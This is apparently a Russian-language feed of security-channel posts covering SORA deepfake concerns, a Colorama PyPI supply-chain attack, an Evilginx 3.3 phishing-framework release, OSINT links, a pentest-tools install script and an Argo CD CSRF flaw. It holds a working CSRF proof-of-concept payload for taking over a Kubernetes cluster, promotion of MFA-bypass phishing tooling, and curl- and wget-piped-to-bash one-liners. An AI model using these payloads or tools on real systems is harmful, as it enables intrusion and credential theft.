Fsecurity | HH

​Пост на стыке ИБ и ИИ Я тут недавно наткнулся на одну очень подробную и крутую статью (рекомендую к прочтению), посвященную разбору нового детища Open AI – SORA. Давно хотел сделать пост на эту тему и вот время пришло. Небольшая вводная. SORA – это нейронка, способная преобразовывать текст в видео. Казалось бы, ничего нового, ведь есть много аналогов, но не совсем. Дело в том, насколько качественно и управляемо работает этот сервис. Вы можете управлять положением камеры в динамике, объектами в кадре и делать из всего этого хоть и короткие, но очень реалистичные ролики. Думаю, что очень скоро эту штуку скрестят с deepfake (штука, с помощью которой можно качественно заменять лица и главных героев на видео), что станет просто ультимативным инструментом в руках злоумышленников. С помощью этого комбайна можно будет подделывать любые видео-доказательства при судебных разбирательствах, использовать это всё в предвыборных кампаниях, значимых инфоповодах и много где еще. Да, на первых порах можно будет легко отличить подделку от оригинала, но все мы прекрасно понимаем, что это лишь дело техники. Я бы назвал выпуск SORA даже более значимым событием, чем появление Midjourney (нейронка для генерации картинок из текста). Очень надеюсь, что OpenAI позаботилась о скрытой маркировке создаваемого видео-контента, чтобы хоть как-то помочь при выявлении своего творчества. А тем временем, реальность из мира фильма Апгрейд всё ближе. Ох уж этот прогресс... #Мнение Твой Пакет Безопасности

🔗Ссылка: https://habr.com/ru/companies/owasp/articles/352422/

🖥 Python-разработчики подверглись сложной атаке на цепочку поставок ⏩Аналитики компании Checkmarx сообщили, что после загрузки вредоносного клона популярной утилиты Colorama несколько Python-разработчиков, включая сопровождающего Top.gg, оказались заражены малварью, похищающей информацию. По мнению специалистов, основной целью кампании, скорее всего, была кража данных и их последующая монетизация. ⏩Атака началась аж в ноябре 2022 года, когда хакеры впервые загрузили вредоносные пакеты в Python Package Index (PyPI). В последующие годы на PyPI было добавлено еще больше пакетов с малварью. Все они были похожи на популярные опенсорсные инструменты, что повышало вероятность их попадания в результаты поисковых систем. ⏩Утилита Colorama, которую в числе прочих подделали злоумышленники, обеспечивает работу последовательностей символов ANSI в Windows и в настоящее время насчитывает более 150 млн загрузок ежемесячно. ⏩Чтобы организовать атаку на цепочку поставок, хакеры клонировали эту утилиту, внедрили в нее вредоносный код и разместили вредоносную версию на поддельном домене. Благодаря тому, что атакующие использовали тайпсквоттинг, сайт хакеров (files.pypihosted[.]org) походил на легитимное зеркало files.pythonhosted.org. ⏩Для распространения вредоносного пакета злоумышленники не только создали вредоносные репозитории под собственными учетными записями, но также взломали ряд известных аккаунтов. В их числе был GitHub-аккаунт editor-syntax, поддерживающий платформу для поиска и обнаружения серверов, ботов и других социальных инструментов в Discord, Top.gg, сообщество которой насчитывает более 170 000 участников. ⏩Аккаунт, скорее всего, был взломан через украденные cookies, которые злоумышленники использовали для обхода аутентификации и выполнения вредоносных действий, при этом не зная пароля аккаунта. В результате взлома пострадали несколько членов сообщества Top.gg. 📎 Читать подробнее @linuxkalii

🔗Ссылка: https://blog.devsecopsguides.com/attacking-docker

Evilginx 3.3 - Go & Phish Буквально вчера вышла новая версия Evilginx 3.3 с интеграцией GoPhish от автора. Я уже неоднократно писал и рассказывал публично об этих незаменимых инструментах, без которых уже фактически сложно представить проведение любой фишинговой компании в рамках получения первоначального доступа на Red Team проектах. Обычно мы использовали Evilgophish, который в шутку называли плодом внебрачной любви крепкой дружбы Evilginx + GoPhish, поэтому мне очень интересно посмотреть официальную интеграцию от Kuba Gretzky Changelog: ✅ Feature: Added support to load custom TLS certificates Теперь можно удобно подгружать свои TLS сертификаты, а не только использовать LetsEncrypt с помощью ACME CertMagic

config autocert <on/off>

✅ Feature: Added ability to inject force_post POST parameters into JSON content body Детали и кейс с примером в этом блоге ✅ Feature: Evilginx will now properly recognize origin IP for requests coming from behind a reverse proxy (nginx/apache2/сaddy/etc) В случае, если вы используете reverse proxy в качестве редиректоров, теперь Evilginx умеет грамотно парсить заголовки: X-Forwarded-For, X-Real-IP, X-Client-IP, Connecting-IP, True-Client-IP, Client-IP ✅ Fixes Различные фиксы, в том числе фикс байпаса защиты от сканеров #phishing #mfa_bypass #evilginx #gophish

🔗Ссылка: https://habr.com/ru/companies/pt/articles/802697/

👁 OSINT (от англ. Open-Source Intelligence) — это метод прикладной обработки информации, основанный на использовании информации, которая генерируется и доступна для публики. Например, с помощью OSINT вы можете найти много полезной информации на просторах интернета по тематике OSINT, но мы постарались и уже сделали подборку специально для Вас! Подборка полезных материалов про OSINT #2: • OSINT инструменты для Instagram и Facebook • OSINT с FOCA: что можно узнать из публичных источников? • CSI Linux. Полное руководство по OSINT. Часть 1. Domain Tools • Сбор информации с помощью OSINT. Часть 1 • Сбор информации с помощью OSINT. Часть 2 • Поиск и анализ страниц ВКонтакте. OSINT и социальные сети • Навыки OSINT(интернет-разведки) в кибербезопасности • Учебное пособие OSINT для отслеживания информации о самолете и рейсе в режиме реального времени • Ищем профиль по имени пользователя (OSINT) • Комплексные инструменты OSINT. Сбор информации в сети • Terra – инструмент OSINT для Twitter и Instagram • Поиск в мире IoT. Альтернативы Shodan и Censys или OSINT по-китайски. Часть 1 • Комплексные инструменты OSINT. Сбор информации в сети. Часть 2 • Osint-San — инструмент, с которым можно стать кибердетективом • Обзор Tsurugi Linux. Японское качество OSINT • Как использовать sherlock • Простой OSINT с использованием инструмента infooze V 1.0 [С примерами] • Как выполнять OSINT в браузере с помощью Mitaka • Сбор информации в Instagram с Osintgram на Kali Linux • Открытый код. Мой топ 4 инструмента в сфере OSINT • Открытый код. Инструменты OSINT. • Telepathy - Набор инструментов для OSINT, позволяющий исследовать Telegram-чаты. • Hunxploit04 – новый OSINT-инструмент для сбора информации • Maryam: Open-source Intelligence(OSINT) Framework Подборка полезных материалов про OSINT #1 #подборка LH | Новости | Курсы | Мемы

🎤Responsible disclosure podcast Топ немецкого багбаунти @Valyaroller наконец представил первый выпуск своего подкаста на русском языке. Всем багхантерам, пентестерам и тем, кто в теме рекомендую к просмотру! Поддержите лайками, подписками и полезным фидбеком! Ссылка на YouTube

Целуй ту руку, что тебя кормит #projectdiscovery #nuclei #automation Решил для себя и для вас написать ультимативный скрипт, который будет устанавливать все нужные инструменты от PD и оперативно подготавливать машину к пентесту. Создать файл: nano setup.sh

#!/bin/bash

echo "██████╗  ██████╗ ██╗  ██╗███████╗██╗  ██╗"
echo "██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██║ ██╔╝"
echo "██████╔╝██║   ██║ ╚███╔╝ █████╗  █████╔╝ "
echo "██╔═══╝ ██║   ██║ ██╔██╗ ██╔══╝  ██╔═██╗ "
echo "██║     ╚██████╔╝██╔╝ ██╗███████╗██║  ██╗"
echo "╚═╝      ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝"
echo
echo "Created by Zybnev Sergey | https://t.me/poxek"
echo 

echo "Install prerequirements..."
sudo apt-get update &> /dev/null
sudo apt-get install -y git curl wget &> /dev/null

if ! command -v go &> /dev/null; then
    echo "Go is not installed. Installing..."

    wget https://golang.org/dl/go1.22.1.linux-amd64.tar.gz

    sudo tar -C /usr/local -xzf go*.linux-amd64.tar.gz

    rm go*.linux-amd64.tar.gz

    echo -e '\n\n\nexport PATH=$PATH:/usr/local/go/bin\nexport PATH="$PATH:$HOME/go/bin"' >> ~/.zshrc

    source ~/.zshrc

    echo -e "Go has been installed successfully: $(go version)\nStarting install..."
else
    echo "Starting install..."
fi

echo "Install deps..."
sudo apt-get install -y libpcap-dev &> /dev/null

echo "Installing tools..."
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/katana/cmd/katana@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/naabu/v2/cmd/naabu@latest
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest
go install github.com/projectdiscovery/notify/cmd/notify@latest

echo "Install nuclei templates"
cd ~
git clone https://github.com/projectdiscovery/nuclei-templates
git clone https://github.com/projectdiscovery/fuzzing-templates

echo "Add cron jobs for updating fuzzing & nuclei templates"
## Define the cron job command to check for
update_nuclei_templates="0 */12 * * * cd ~/nuclei-templates && git pull"
update_fuzzing_templates="0 */12 * * * cd ~/fuzzing-templates && git pull"

## Check if the cron job1 exists in the crontab
if crontab -l | grep -qF "$update_nuclei_templates"; then
    echo "The cron job1 exists in the crontab."
else
    echo -e "$update_nuclei_templates\n$update_fuzzing_templates" | crontab -
fi

clear
echo "Thx for using script! tg@poxek"

Запуск: chmod u+x setup.sh; ./setup.sh Но если более короткий способ:

curl https://raw.githubusercontent.com/szybnev/setup/main/setup.sh | bash

Надеюсь этот скрипт будет использоваться в будущем. Я уж точно буду им пользоваться) 🛠 Github Если у вас есть идеи, какие инструментами все пользуются и их стоит добавить, то оставляйте issues! 🐈 Бонус: Скрипт для смены цветовой палитры термина. Тут выбрать палитру. Скрипт выведет список палитр и по номеру(ам) установит выбранную схему(ы):

bash -c  "$(wget -qO- https://git.io/vQgMr)"

Я себе поставил Google Dark - 83 🌚 @poxek

🔗Ссылка: https://xakep.ru/2024/04/02/owasp-leak/

🔗Ссылка: https://habr.com/ru/articles/803141/

2024-ый год для Argo CD начался с пачки CVE (большинство из них DoS), однако наше внимание привлекла CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd. Всё началось с того, что уже несколько лет API Argo CD уязвимо к CSRF (1,2). Но разработчики игнорировали эту проблему (видимо не было достоверных пруфов эксплуатации) и в качестве мер митигации стали использвать Lax SameSite cookie, которую можно довольно легко обойти, если origin находится в том же родительском домене, что и target. Исследователи обнаружившие эту уязвимость рассмотрели случай, когда атакующий контроллирует содержимое на marketing.victim.com (например, через хранимую XSS) и его целью является Argo CD расположенный на argocd.internal.victim.com. Представленный PoC позволяет атакующему через CSRF уязвимость получить полный контроль над кластером Kubernetes. Для этого на подконтрольном домене атакующему достаточно разместить следующий JavaScript код:

var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/user/repo","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')

После того как жертва перейдет на marketing.victim.com от её лица выполнится POST запрос к API Argo CD на создание Application, где repoURL – github репозиторий, в котором злоумышленник может разместить что угодно: Bad Pods с reverse shell, Cluster Admin права и т.д. Всё это задеплоится в кластере. Более подробно об этой уязвимости можно прочитать в заметке исследователей. Прикольно, что через веб уязвимость можно получить полный контроль над кластером Kubernetes.

🔗Ссылка: https://habr.com/ru/articles/792730/

ParrotOS PerrotOS parrotsec.org #meme

ещё заметил первое апреля)) #htb #meme

🔗Ссылка: https://www.anti-malware.ru/news/2024-04-01-114534/43070

🔗Ссылка: https://notes.kraken-security.ru/kraken/krupicy-znanii/instrumenty/netsparker